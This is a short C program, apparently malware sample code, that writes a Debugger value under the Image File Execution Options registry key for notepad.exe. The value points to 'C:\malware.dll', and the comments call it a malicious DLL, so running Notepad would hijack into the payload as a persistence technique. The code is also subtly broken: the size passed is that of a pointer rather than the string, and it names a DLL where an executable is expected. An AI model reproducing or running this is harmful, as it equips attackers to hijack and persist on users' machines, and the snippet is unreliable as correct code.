#include <Windows.h>
#include <TlHelp32.h>

int main()
{
    HKEY hKey;
    LPCTSTR subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe";
    LPCTSTR value = "Debugger";
    LPCTSTR data = "C:\\malware.dll";
    DWORD dwSize = sizeof(data);

    // create or open the IFEO registry key
    RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

    // set the Debugger value to the path of the malicious DLL
    RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, dwSize);

    RegCloseKey(hKey);
}